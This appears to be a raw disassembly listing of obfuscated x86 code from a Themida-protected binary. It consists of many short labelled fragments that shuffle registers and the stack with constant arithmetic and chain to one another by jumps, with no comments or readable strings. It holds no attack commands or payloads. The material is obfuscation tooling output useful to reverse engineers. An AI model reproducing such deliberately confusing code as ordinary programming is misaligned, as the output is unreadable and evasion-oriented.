; ---------------------------------------------------------------------------


loc_551CEE:				; CODE XREF: Themida_:0055C72Ej
		mov	ebx, 4E690E6Eh
		and	ebx, 338D186Ch
		shr	ebx, 7
		xor	ebx, 75F51466h
		push	ebp
		mov	ebp, 8A0EF98Bh
		add	ebx, 2A1C1333h
		jmp	loc_558442
; ---------------------------------------------------------------------------


loc_551D13:				; CODE XREF: Themida_:00558B74j
		xor	eax, ebp
		jmp	loc_553783
; ---------------------------------------------------------------------------


loc_551D1A:				; CODE XREF: Themida_:0055E564j
		shr	ebx, 6
		and	ebx, 3487276Bh
		shl	ebx, 4
		xor	ebx, 6216B2h
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_559A17
; ---------------------------------------------------------------------------


loc_551D4D:				; CODE XREF: Themida_:0055A29Aj
		mov	[esp], edx
		push	2782h
		mov	[esp], eax
		jmp	loc_551F88
; ---------------------------------------------------------------------------


loc_551D5D:				; CODE XREF: Themida_:00559510j
		pop	edi
		push	ebp
		mov	ebp, 499E65DAh
		jmp	loc_55B283
; ---------------------------------------------------------------------------


loc_551D69:				; CODE XREF: Themida_:0056535Dj
		or	esi, 73DE5971h
		dec	esi
		dec	esi
		sub	esi, 0D0E9AFB8h
		sub	ecx, esi
		jmp	loc_563DCE
; ---------------------------------------------------------------------------


loc_551D7E:				; CODE XREF: Themida_:005564C0j
		push	edi
		push	ecx
		mov	ecx, 7C7E310Dh
		neg	ecx
		jmp	loc_550F96
; ---------------------------------------------------------------------------


loc_551D8C:				; CODE XREF: Themida_:00561341j
		pop	edx
		add	esp, 4
		jmp	loc_56284D
; ---------------------------------------------------------------------------


loc_551D95:				; CODE XREF: Themida_:00557585j
		pop	eax
		add	esi, 0D29CEC93h
		add	eax, esi
		pop	esi
		push	36BCh
		mov	[esp], edx
		jmp	loc_563C33
; ---------------------------------------------------------------------------


loc_551DAC:				; CODE XREF: Themida_:00563858j
		push	224Bh
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		jmp	loc_556DD8
; ---------------------------------------------------------------------------


loc_551DC0:				; CODE XREF: Themida_:0055F5FBj
		mov	[esp], ebx
		mov	ebx, 343BDD2Dh
		push	ebp
		mov	ebp, 56A732BFh
		push	edi
		mov	edi, 4792753Dh
		or	edi, 63D67C85h
		jmp	loc_551CD7
; ---------------------------------------------------------------------------


loc_551DDF:				; CODE XREF: Themida_:0055C0B3j
		shr	edx, 5
		shl	edx, 5
		add	edx, 1
		jmp	loc_55DD4A
; ---------------------------------------------------------------------------


loc_551DED:				; CODE XREF: Themida_:00555445j
		pop	edx
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552B89
; ---------------------------------------------------------------------------


loc_551E09:				; CODE XREF: Themida_:0055C340j
		sub	esp, 4
		jmp	loc_56565A
; ---------------------------------------------------------------------------


loc_551E11:				; CODE XREF: Themida_:00561B51j
		push	edi
		mov	edi, 29E84E7Dh
		sub	edi, 6F6027F8h
		neg	edi
		add	edi, 0EAE357E6h
		mov	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_550C8D
; ---------------------------------------------------------------------------


loc_551E33:				; CODE XREF: Themida_:0056222Fj
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_565217
; ---------------------------------------------------------------------------


loc_551E3C:				; CODE XREF: Themida_:00562244j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_560665
; ---------------------------------------------------------------------------


loc_551E52:				; CODE XREF: Themida_:005598CBj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55869C
; ---------------------------------------------------------------------------


loc_551E5D:				; CODE XREF: Themida_:0055DFCAj
		pop	esi
		jmp	loc_5561D0
; ---------------------------------------------------------------------------


loc_551E63:				; CODE XREF: Themida_:005566D9j
		add	esi, edx
		jmp	loc_556202
; ---------------------------------------------------------------------------


loc_551E6A:				; CODE XREF: Themida_:005658D1j
		push	edx
		push	small 2C5Bh
		jmp	loc_55DADF
; ---------------------------------------------------------------------------


loc_551E74:				; CODE XREF: Themida_:0055B954j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55F74E
; ---------------------------------------------------------------------------


loc_551E85:				; CODE XREF: Themida_:00555D76j
		push	ebx
		jmp	loc_55A411
; ---------------------------------------------------------------------------


loc_551E8B:				; CODE XREF: Themida_:00562649j
		add	edx, 10E43F91h
		jmp	loc_55B3CF
; ---------------------------------------------------------------------------


loc_551E96:				; CODE XREF: Themida_:0055A7EAj
		sub	ebp, 8BF3020h
		add	ebp, edi
		jmp	loc_56229A
; ---------------------------------------------------------------------------


loc_551EA3:				; CODE XREF: Themida_:00558332j
		push	0E4FC6C1Eh
		pop	edx
		jmp	loc_5570CA
; ---------------------------------------------------------------------------


loc_551EAE:				; CODE XREF: Themida_:0055EE16j
		add	ebx, 2F4C11E4h
		shl	ebx, 2
		or	ebx, 72177CF1h
		shl	ebx, 8
		jmp	loc_5566E4
; ---------------------------------------------------------------------------


loc_551EC5:				; CODE XREF: Themida_:0055D025j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_552503
; ---------------------------------------------------------------------------


loc_551ED9:				; CODE XREF: Themida_:0055281Ej
		push	52E8h
		mov	[esp], ebx
		push	eax
		push	ecx
		mov	ch, dl
		push	edx
		mov	dh, ch
		mov	al, dh
		jmp	loc_55A7C2
; ---------------------------------------------------------------------------


loc_551EEF:				; CODE XREF: Themida_:00561A7Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_557187
; ---------------------------------------------------------------------------


loc_551F02:				; CODE XREF: Themida_:0055A3A7j
		pop	ebx
		add	edx, ebp
		pop	ebp
		jmp	loc_55E34D
; ---------------------------------------------------------------------------


loc_551F0B:				; CODE XREF: Themida_:00558697j
		pop	bx
		push	small 0D69h
		jmp	loc_563697
; ---------------------------------------------------------------------------


loc_551F16:				; CODE XREF: Themida_:0055CDFBj
		xor	bl, 2Eh
		sub	bl, 0Ah
		add	al, 0C8h
		add	al, bl
		sub	al, 0C8h
		pop	ebx
		sub	al, bl
		sub	al, 0C7h
		push	ecx
		jmp	loc_557190
; ---------------------------------------------------------------------------


loc_551F2D:				; CODE XREF: Themida_:0055B1B0j
		add	esi, 4
		push	ecx
		mov	ecx, 44417038h
		shr	ecx, 5
		dec	ecx
		inc	ecx
		xor	ecx, 2220B85h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		shr	edi, 3
		neg	edi
		add	edi, 611EB5Fh
		mov	ecx, edi
		jmp	loc_55E0F6
; ---------------------------------------------------------------------------


loc_551F5D:				; CODE XREF: Themida_:0055DA9Ej
		sub	ebp, 0F9235C2h
		jmp	loc_55E274
; ---------------------------------------------------------------------------


loc_551F68:				; CODE XREF: Themida_:0055060Dj
		inc	ebp
		jmp	loc_555904
; ---------------------------------------------------------------------------


loc_551F6E:				; CODE XREF: Themida_:005626C5j
		pop	ebx
		sub	ebx, 4FE760D0h
		sub	ebx, edi
		add	ebx, 4FE760D0h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553F9F
; ---------------------------------------------------------------------------


loc_551F88:				; CODE XREF: Themida_:00551D58j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5517C3
; ---------------------------------------------------------------------------


loc_551F93:				; CODE XREF: Themida_:00557B5Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_559228
; ---------------------------------------------------------------------------


loc_551FAC:				; CODE XREF: Themida_:005533CAj
		push	edx
		jmp	loc_555F07
; ---------------------------------------------------------------------------


loc_551FB2:				; CODE XREF: Themida_:00556CDCj
		add	ebx, 722EE0A8h
		add	ebp, 1EB25EA9h
		add	ebp, 5E97563Dh
		add	ebp, ebx
		jmp	loc_565A3C
; ---------------------------------------------------------------------------


loc_551FCB:				; CODE XREF: Themida_:0055895Bj
		xor	ebp, 66D13196h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 278345CEh
		push	esi
		mov	esi, 77ED25C1h
		shl	esi, 7
		add	esi, 5D8573B8h
		shl	esi, 2
		sub	esi, 4040047Ch
		jmp	loc_55DE2C
; ---------------------------------------------------------------------------


loc_551FF7:				; CODE XREF: Themida_:005561F1j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_55500C
; ---------------------------------------------------------------------------


loc_55200C:				; CODE XREF: Themida_:005620B2j
		mov	ebp, [esp]
		jmp	loc_55E3EE
; ---------------------------------------------------------------------------


loc_552014:				; CODE XREF: Themida_:0055B560j
		pop	esp
		push	ebp
		push	esi
		jmp	loc_555D9B
; ---------------------------------------------------------------------------


loc_55201C:				; CODE XREF: Themida_:00553BF5j
		mov	ebx, 28h
		sub	ebx, 136F4FE2h
		add	ebx, edi
		jmp	loc_558288
; ---------------------------------------------------------------------------


loc_55202E:				; CODE XREF: Themida_:0055BAABj
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	esi, [esp]
		jmp	loc_5621DA
; ---------------------------------------------------------------------------


loc_552049:				; CODE XREF: Themida_:005637E5j
		mov	eax, 363C04CEh
		sub	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 562B2A64h
		sub	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_553ABE
; ---------------------------------------------------------------------------


loc_55206D:				; CODE XREF: Themida_:005599FFj
		sub	ebx, 452848A4h
		jmp	loc_551766
; ---------------------------------------------------------------------------


loc_552078:				; CODE XREF: Themida_:00564C04j
		mov	[esp], ebp
		xchg	edx, [esp]
		jmp	loc_559B66
; ---------------------------------------------------------------------------


loc_552083:				; CODE XREF: Themida_:0055FDDAj
		sub	ebp, edx
		pop	edx
		sub	eax, 6A123BABh
		sub	eax, 66624898h
		add	eax, ebp
		add	eax, 66624898h
		jmp	loc_55DA6B
; ---------------------------------------------------------------------------


loc_55209C:				; CODE XREF: Themida_:00561DDCj
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_553B43
; ---------------------------------------------------------------------------


loc_5520B2:				; CODE XREF: Themida_:00557AA6j
		add	esp, 4
		xor	esi, 364A4E30h
		mov	edx, esi
		jmp	loc_5512C1
; ---------------------------------------------------------------------------


loc_5520C5:				; CODE XREF: Themida_:00559462j
		or	edi, 2F305416h
		shr	edi, 4
		shr	edi, 4
		add	edi, 4F030913h
		add	ebx, edi
		pop	edi
		jmp	loc_55BBA5
; ---------------------------------------------------------------------------


loc_5520DF:				; CODE XREF: Themida_:005537C4j
		not	ecx
		jmp	loc_554160
; ---------------------------------------------------------------------------


loc_5520E6:				; CODE XREF: Themida_:005601F5j
		sub	[edi+20h], ebp
		jmp	loc_556907
; ---------------------------------------------------------------------------


loc_5520EE:				; CODE XREF: Themida_:00556B9Dj
		pop	edi
		jmp	loc_560309
; ---------------------------------------------------------------------------


loc_5520F4:				; CODE XREF: Themida_:005654CFj
		xor	ebx, edi
		pop	edi
		or	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 80E049h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_55B656
; ---------------------------------------------------------------------------


loc_55210C:				; CODE XREF: Themida_:00558837j
		sub	edx, 0FFFFFFFFh
		push	eax
		mov	eax, 194D016Dh
		xor	edx, eax
		pop	eax
		jmp	loc_561168
; ---------------------------------------------------------------------------


loc_552120:				; CODE XREF: Themida_:0055B892j
		mov	cx, ax
		jmp	loc_557DFA
; ---------------------------------------------------------------------------


loc_552128:				; CODE XREF: Themida_:0055922Cj
		mov	ebx, 1E1144BFh
		neg	ebx
		jmp	loc_55D4DA
; ---------------------------------------------------------------------------


loc_552134:				; CODE XREF: Themida_:005512F9j
		xor	eax, 7E327D54h
		xor	eax, 5A484D25h
		jmp	loc_55F525
; ---------------------------------------------------------------------------


loc_552143:				; CODE XREF: Themida_:0055F717j
		push	ebp
		jmp	loc_55EE0E
; ---------------------------------------------------------------------------


loc_552149:				; CODE XREF: Themida_:0055DBE9j
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_552EF4
; ---------------------------------------------------------------------------


loc_552159:				; CODE XREF: Themida_:00553FBFj
		xor	ebp, 1C98C7h
		jmp	loc_5541CC
; ---------------------------------------------------------------------------


loc_552164:				; CODE XREF: Themida_:0055C5F5j
		add	eax, 7BC02B91h
		sub	eax, 8880DDCh
		add	eax, 62A2103Eh
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	39AAh
		mov	[esp], ecx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55218D:				; CODE XREF: Themida_:005614C0j
		add	ebx, 9DADE330h
		sub	ebp, ebx
		jmp	loc_55E71F
; ---------------------------------------------------------------------------


loc_55219A:				; CODE XREF: Themida_:00562384j
		push	ecx
		mov	ecx, 308A34B9h
		sub	[esp+8], ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5521B0:				; CODE XREF: Themida_:005584E9j
		not	dword ptr [esp]
		pop	eax
		xor	eax, 0A47D573Ah
		sub	edx, eax
		pop	eax
		jmp	loc_55947A
; ---------------------------------------------------------------------------


loc_5521C1:				; CODE XREF: Themida_:00556610j
		push	582Ah
		mov	[esp], ebp
		push	913h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		jmp	loc_553D8B
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_556BB6
; ---------------------------------------------------------------------------


loc_5521E4:				; CODE XREF: Themida_:0055777Aj
		push	edi
		mov	edi, 57212BEEh
		or	edi, 18263805h
		shr	edi, 1
		jmp	loc_564F03
; ---------------------------------------------------------------------------


loc_5521F7:				; CODE XREF: Themida_:00556BC9j
		mov	[esp], edi
		push	esp
		jmp	loc_55230B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7EA6h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_551483
; ---------------------------------------------------------------------------


loc_552214:				; CODE XREF: Themida_:005523EFj
		mov	ebp, esi
		jmp	loc_55C350
; ---------------------------------------------------------------------------


loc_55221B:				; CODE XREF: Themida_:005634BCj
		xor	eax, 0ABAFF43Fh
		add	ebx, eax
		pop	eax
		jmp	loc_55C4DA
; ---------------------------------------------------------------------------


loc_552228:				; CODE XREF: Themida_:00556B22j
		pop	edx
		neg	eax
		xor	eax, 0F4D3DBAAh
		xor	ecx, eax
		jmp	loc_565920
; ---------------------------------------------------------------------------


loc_552237:				; CODE XREF: Themida_:00564FB0j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_55D331
; ---------------------------------------------------------------------------


loc_552246:				; CODE XREF: Themida_:00560251j
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_5620C2
; ---------------------------------------------------------------------------


loc_552251:				; CODE XREF: Themida_:00560A28j
		xor	esi, 652F0A87h
		neg	esi
		push	edx
		mov	edx, 3AD3A76h
		jmp	loc_55BC87
; ---------------------------------------------------------------------------


loc_552264:				; CODE XREF: Themida_:00561F1Bj
		xor	ecx, eax
		push	786Dh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	6342h
		mov	[esp], ecx
		jmp	loc_5531A8
; ---------------------------------------------------------------------------


loc_552291:				; CODE XREF: Themida_:00551438j
		sub	esi, ecx
		pop	ecx
		add	esi, eax
		push	ebx
		mov	ebx, 711F42B8h
		dec	ebx
		jmp	loc_5507B8
; ---------------------------------------------------------------------------


loc_5522A2:				; CODE XREF: Themida_:00561430j
		push	ebp
		mov	ebp, 77D23EE0h
		push	edx
		jmp	loc_55354A
; ---------------------------------------------------------------------------


loc_5522AE:				; CODE XREF: Themida_:0055AA80j
		add	esp, 4
		add	edi, edx
		pop	edx
		push	7E61h
		jmp	loc_55EFD1
; ---------------------------------------------------------------------------


loc_5522C1:				; CODE XREF: Themida_:00554A2Ej
		push	eax
		jmp	loc_55322C
; ---------------------------------------------------------------------------


loc_5522C7:				; CODE XREF: Themida_:0055CDD5j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		push	edi
		mov	edi, 373B10DEh
		add	eax, edi
		pop	edi
		add	eax, ebx
		sub	eax, 373B10DEh
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_550EAF
; ---------------------------------------------------------------------------


loc_5522F7:				; CODE XREF: Themida_:005639E1j
		mov	[esp], esp
		jmp	loc_55B08C
; ---------------------------------------------------------------------------


loc_5522FF:				; CODE XREF: Themida_:00561C62j
		sub	ax, dx
		pop	edx
		add	ax, bx
		jmp	loc_557DDD
; ---------------------------------------------------------------------------


loc_55230B:				; CODE XREF: Themida_:005521FBj
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 2B7601E9h
		shr	ecx, 7
		and	ecx, 0CC3560Eh
		and	ecx, 527D3517h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55911F
; ---------------------------------------------------------------------------


loc_552335:				; CODE XREF: Themida_:00556284j
		add	esp, 4
		push	ecx
		mov	cl, 59h
		xor	cl, 0E5h
		push	eax
		jmp	loc_558129
; ---------------------------------------------------------------------------


loc_552347:				; CODE XREF: Themida_:0056017Cj
		xor	edx, [esp]
		jmp	loc_5650AF
; ---------------------------------------------------------------------------


loc_55234F:				; CODE XREF: Themida_:005594FAj
		pop	edx
		jmp	loc_56478E
; ---------------------------------------------------------------------------


loc_552355:				; CODE XREF: Themida_:005627FEj
		add	edi, 0CCDAE9B3h
		mov	edx, edi
		pop	edi
		jmp	loc_55C56A
; ---------------------------------------------------------------------------


loc_552363:				; CODE XREF: Themida_:00562DF0j
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4


loc_552370:				; CODE XREF: Themida_:0055F8CCj
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55DE16
; ---------------------------------------------------------------------------


loc_552380:				; CODE XREF: Themida_:00559F0Aj
		push	esp
		jmp	loc_5557DC
; ---------------------------------------------------------------------------


loc_552386:				; CODE XREF: Themida_:005533D8j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5610ED
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_552398:				; CODE XREF: Themida_:00553E7Cj
		pop	ebx
		jmp	loc_55C66A
; ---------------------------------------------------------------------------


loc_55239E:				; CODE XREF: Themida_:0055807Ej
		add	ebx, eax
		push	esi
		jmp	loc_560DA5
; ---------------------------------------------------------------------------


loc_5523A6:				; CODE XREF: Themida_:00556041j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556EBB
; ---------------------------------------------------------------------------


loc_5523B0:				; CODE XREF: Themida_:00553F9Aj
		not	edx
		push	ebx
		jmp	loc_55E196
; ---------------------------------------------------------------------------


loc_5523B8:				; CODE XREF: Themida_:0055F7C4j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_563284
; ---------------------------------------------------------------------------


loc_5523C6:				; CODE XREF: Themida_:0055FC47j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 80h
		jmp	loc_552214
; ---------------------------------------------------------------------------


loc_5523F4:				; CODE XREF: Themida_:0055428Ej
		dec	edi
		jmp	loc_5508BA
; ---------------------------------------------------------------------------


loc_5523FA:				; CODE XREF: Themida_:00552415j
		mov	eax, 73E01CCAh
		inc	eax
		sub	eax, 73E01CC7h
		sub	edi, 22DE353Ch
		add	edi, eax
		jmp	loc_554B3E
; ---------------------------------------------------------------------------


loc_552412:				; CODE XREF: Themida_:005608A2j
		mov	[esp], eax
		jmp	loc_5523FA
; ---------------------------------------------------------------------------


loc_55241A:				; CODE XREF: Themida_:005509CAj
		mov	edx, [esp]
		jmp	loc_557325
; ---------------------------------------------------------------------------


loc_552422:				; CODE XREF: Themida_:005594E2j
		or	edx, 2602573Ah
		inc	edx
		add	edx, 589C2885h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55AD9E
; ---------------------------------------------------------------------------


loc_55243D:				; CODE XREF: Themida_:00551350j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_55862A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	30F2h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_561498
; ---------------------------------------------------------------------------


loc_552472:				; CODE XREF: Themida_:0055534Bj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_565124
; ---------------------------------------------------------------------------


loc_55247B:				; CODE XREF: Themida_:00562CF8j
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		push	esi
		jmp	loc_564AC5
; ---------------------------------------------------------------------------


loc_55248E:				; CODE XREF: Themida_:0055D049j
		push	ebp
		jmp	loc_55BF25
; ---------------------------------------------------------------------------


loc_552494:				; CODE XREF: Themida_:0055911Aj
		xor	dl, 6Ch
		jmp	loc_55D5C5
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		push	esi
		mov	esi, 501542D9h
		jmp	loc_55B72F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1FCBh
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 6BDE637Dh
		sub	ecx, 2460380h
		inc	ecx
		jmp	loc_5543D6
; ---------------------------------------------------------------------------


loc_5524D0:				; CODE XREF: Themida_:00552BEFj
		push	164Fh
		mov	[esp], ebx
		push	edi
		mov	edi, 4050B2Fh
		mov	ebx, 40E007A2h
		xor	ebx, edi
		jmp	loc_55CC1F
; ---------------------------------------------------------------------------


loc_5524EA:				; CODE XREF: Themida_:00555DBDj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55D97F
; ---------------------------------------------------------------------------


loc_552503:				; CODE XREF: Themida_:00551ED4j
		pop	esp
		jmp	loc_553398
; ---------------------------------------------------------------------------


loc_552509:				; CODE XREF: Themida_:005643B2j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_558603
; ---------------------------------------------------------------------------


loc_552516:				; CODE XREF: Themida_:00556269j
		pop	esp
		shr	edi, 1
		jmp	loc_552659
; ---------------------------------------------------------------------------


loc_55251E:				; CODE XREF: Themida_:00552F99j
		add	edx, 10852FADh
		push	2C5Ch
		mov	[esp], esi
		mov	esi, 773230E3h
		sub	edx, esi
		pop	esi
		add	edx, ecx
		add	edx, 773230E3h
		jmp	loc_558CFE
; ---------------------------------------------------------------------------


loc_552541:				; CODE XREF: Themida_:00556B46j
		mov	[esp], ecx
		jmp	loc_55CD60
; ---------------------------------------------------------------------------


loc_552549:				; CODE XREF: Themida_:00553E83j
		mov	edx, [esp]
		add	esp, 4
		push	edi
		xchg	ebp, [esp]
		neg	ebp
		xchg	ebp, [esp]
		jmp	loc_55D454
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_552570:				; CODE XREF: Themida_:0055B79Bj
		mov	[esp], ecx
		push	344h
		jmp	loc_5540BE
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 4C88h
		mov	[esp], ax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55258E:				; CODE XREF: Themida_:0055CEC8j
		sub	bl, al
		sub	bl, 0Fh
		jmp	loc_551CB2
; ---------------------------------------------------------------------------


loc_552598:				; CODE XREF: Themida_:005620DFj
		add	esp, 4
		add	esi, 4
		jmp	loc_553CE1
; ---------------------------------------------------------------------------


loc_5525A9:				; CODE XREF: Themida_:0055B13Dj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_559274
; ---------------------------------------------------------------------------


loc_5525B2:				; CODE XREF: Themida_:0055334Aj
		and	bl, 1Bh
		jmp	loc_550488
; ---------------------------------------------------------------------------


loc_5525BA:				; CODE XREF: Themida_:0055413Cj
		mov	edx, 57E73E10h
		add	edx, 690664B7h
		or	edx, 539D7737h
		neg	edx
		xor	edx, 2C02080Dh
		add	ebp, edx
		pop	edx
		jmp	loc_55609F
; ---------------------------------------------------------------------------


loc_5525DB:				; CODE XREF: Themida_:0056599Bj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_551544
; ---------------------------------------------------------------------------


loc_552606:				; CODE XREF: Themida_:0055C868j
		pop	ecx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_565901
; ---------------------------------------------------------------------------


loc_55261E:				; CODE XREF: Themida_:00560BDCj
		push	17A9h
		mov	[esp], edi
		mov	edi, 10275761h
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_551CC6
; ---------------------------------------------------------------------------


loc_55263B:				; CODE XREF: Themida_:00564BDCj
		mov	ebx, eax
		pop	eax
		jmp	loc_55FE69
; ---------------------------------------------------------------------------


loc_552643:				; CODE XREF: Themida_:005558F9j
		mov	[esp], eax
		push	2011h
		mov	[esp], esp
		sub	esp, 4
		jmp	loc_55FC95
; ---------------------------------------------------------------------------


loc_552659:				; CODE XREF: Themida_:00552519j
		add	edi, 0CF8078FAh
		add	eax, edi
		pop	edi
		push	eax
		jmp	loc_55289E
; ---------------------------------------------------------------------------


loc_552668:				; CODE XREF: Themida_:005504B9j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp


loc_55266F:				; CODE XREF: Themida_:loc_561A1Ej
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560762
; ---------------------------------------------------------------------------


loc_55267B:				; CODE XREF: Themida_:00564A7Cj
		mov	[esp], ebx
		push	ebp
		mov	ebp, 396107AFh
		mov	ebx, 72CB72FBh
		sub	ebx, ebp
		pop	ebp
		or	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 0B130EFE1h
		sub	edx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55F228
; ---------------------------------------------------------------------------


loc_5526A9:				; CODE XREF: Themida_:005543D1j
		sub	edi, 4
		jmp	loc_559584
; ---------------------------------------------------------------------------


loc_5526B1:				; CODE XREF: Themida_:00551705j
		add	ebp, edi
		sub	ebp, 746575E4h
		pop	edi
		jmp	loc_556A79
; ---------------------------------------------------------------------------


loc_5526BF:				; CODE XREF: Themida_:0055E24Fj
		add	ecx, 543570B9h
		sub	ecx, ebp
		sub	ecx, 543570B9h
		jmp	loc_56184F
; ---------------------------------------------------------------------------


loc_5526D2:				; CODE XREF: Themida_:00562A46j
		mov	dh, 22h
		add	dh, 72h
		jmp	loc_5658F6
; ---------------------------------------------------------------------------


loc_5526DC:				; CODE XREF: Themida_:005547CAj
		push	656A65CFh
		jmp	loc_55617F
; ---------------------------------------------------------------------------


loc_5526E6:				; CODE XREF: Themida_:0055A89Fj
		push	ebp
		jmp	loc_55A3C3
; ---------------------------------------------------------------------------


loc_5526EC:				; CODE XREF: Themida_:00550B46j
		push	ebp
		jmp	loc_563B2F
; ---------------------------------------------------------------------------


loc_5526F2:				; CODE XREF: Themida_:005507B3j
		pop	esi
		pop	esi
		dec	edi
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		not	edi
		push	eax
		mov	eax, 49DF4595h
		add	eax, 2894FEDDh
		and	edi, eax
		pop	eax
		push	ecx
		jmp	loc_553613
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_555185
; ---------------------------------------------------------------------------


loc_55271E:				; CODE XREF: Themida_:0055B001j
		mov	esi, esp
		jmp	loc_560C50
; ---------------------------------------------------------------------------


loc_552725:				; CODE XREF: Themida_:0055BE1Fj
		mov	ecx, 4
		push	ecx
		mov	ecx, 587A7299h
		shr	ecx, 5
		sub	ecx, 2DE257Ah
		dec	ecx
		sub	ecx, 905C436Dh
		add	edi, ecx
		pop	ecx
		add	edi, 219A0D89h
		add	edi, ecx
		push	ecx
		mov	ecx, 4AE23760h
		shr	ecx, 8
		add	ecx, 214F2B52h
		sub	edi, ecx
		pop	ecx
		push	eax
		push	edx
